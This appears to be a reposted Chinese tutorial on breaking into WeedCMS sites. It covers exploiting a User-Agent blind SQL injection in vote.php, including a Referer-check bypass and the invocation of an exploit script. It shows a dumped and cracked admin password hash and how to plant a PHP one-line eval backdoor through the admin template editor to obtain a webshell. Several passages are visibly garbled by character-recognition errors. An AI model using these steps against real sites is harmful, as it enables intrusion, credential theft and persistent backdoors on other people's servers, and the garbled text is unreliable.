利用野草weedcmsuseragent盲注漏洞拿shell
Posted 某某qq2553083572
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了利用野草weedcmsuseragent盲注漏洞拿shell相关的知识,希望对你有一定的参考价值。
野草网站管理系统(WEEDCMS)是由野草独立基于php+mysql开发的内容管理系统。面向企业、个人、小门户等中小规模网站使用而开发的。采用国际上比较流行Smarty引擎和敏捷的JQuery JS框架。
在tools.net上看到有人公布了Weedons的USER_AGENT盲洼漏洞,漏洞影响Weedcms的4 0版和最新的WeedCMS v5.O build 20110101版本,下面我就把这个漏洞介绍给大家。
一.漏洞简单分析
这个漏洞的公布者是sswowo,sswowo已经进行了比较详细的分析,这里直接引用。
出现漏洞的文件是vote.php,USER_ AGENT直接插入数据库,没有经过过滤,导致产生Insert型SQL注入。由于无错误提示,只能进行盲注。代码就不具体写下来了,有需要的可以找我要。
我们可以看到这个函数没有对传人的数据进行任何的过滤,只是简单的SQL语句生成,最后调用query()执行。
首先程序通过GET获取了action变量,如果ac tio n==ok。则处理投票,然后调用了checkrequest()函数对请求进行验证,我们跟进一下这个函数,找到includes/function.php第390行。
我们可以看到,只对REFERER,进行了简单的正则匹配,和XjHO ST进行了比对,我们可以通过伪造请求R卫FERER即可绕过此验证。
接着程序获取了vote_id变量,我们给他传人一个不存在的ID即可,防止在不同的目标环境中导致程序逻辑被中断,然后我们看后面在最后插入投票数据时,直接获取了$_SERVER[’HTTP_USER—AGENT‘]并且没有任何过滤,而且$_SERVEFR变量是不受magic_quotes_gpc保护的,所以该漏洞通用性很好,几乎可以通杀。最后使用了$db->insert0函数插入到了数据库,我们跟一下这个函数看有没有过滤。找到includes/class_db.php第20-7我们可以看到这个函数没有对传人的数据进行任何的过滤,只是简单的SQL语句生成,最后调用query()执行。漏洞分析就简单引用到这里,下面来看漏洞利用过程。
二.漏洞利用
我从网上下载了野草Weedcms最新版本的野革内容管理系统WeedC MS v5.o build 20110101的源代码,用AppServ在虚拟机里把程序运行了起来。
USER_AGENT盲注漏洞怎么利用呢?别急,sswowo已经给出了一个漏洞的利用EXP,把EXP的代码保存为weedcmsexp.php备用。由于EXP是用PHP代码写的,因此需要用php.exe进行解析。有的朋友可能不知道php.exe在哪里,安装了PHP就有了,我搭建php WEB环境用的AppServ里自带_r‘phpS,我就不用再安装PHP了,直接使用了。AppServ中php5的安装目录为C:\AppServ\php5,按键盘上的WIN+R键调出“运行”,输入cmd后回车就打开了命令提示符,输入c dVl:JJ换到C盘根目录下,然后输入cd C:YAppServ\php5,回车,切换到php.exeF在的目录。把漏洞利用EXP weedcmsexp.php复制到C:\AppServ\php5目录下,在命令提示符下输入php.exeweedcmsexp.php就会看到EXI,怎么用。后面跟的4个参数分别为:目标主机端口程序路径(以/开头结尾)延时。要对我虚拟机里搭建的Weedcms进行注入,输入php.exe weedcmsexp.php127.0.0.1 80”/weed/””2”,回车后会看到一行行信息滚过。
注入完成后,猜解出的管理员的用户名为admin,密码为d033 e22ae348aeb5660fc2140aec35850c4da997,密码是经过shal加密的,在在线破解网站得到了管理员的用户名和密码就该进后台想办法拿shell了。Weedcms的后台登录文件是网站根目录下的admin_.php,用得到的用户名和密码顺利进入了后台。
虽然Weedcms 4.0和5.0都可以注入,但我只会在进入Weedcms 5.0的后台后才能获得shell,对于4.O版本的We edcms在后台没找到拿shell的方法,也许我太菜了,有知道怎么拿shell的欢迎和我交流。Weedcms 5.0后台拿shell的方法我是学的心灵公布的野草weedcms 5.0写马漏洞的方法。具体利用方法为在Weedcms的网站地址后面加上如下代码:admin.php?action=config&do=te mplate_edit&file=part__ vote.html,访问后打开的页面。
是编辑模板文件的页面,在文件头插入<?eval($一POST[x]);?>,提交后访问一下网站首页,php-句话木马就写到temps/compile/目录下的part_vote.html.php文件中了,用lanker-句话PHP后门客户端3.O内部版连接获得shell。
虽然Weedcms不是很大众,但这个漏洞仍然有值得大家留意的地方,比如USER AGENT盲注的方法,如果有能力的可以借鉴下漏洞利用EXP的代码,相信你会有所收获。
以上是关于利用野草weedcmsuseragent盲注漏洞拿shell的主要内容,如果未能解决你的问题,请参考以下文章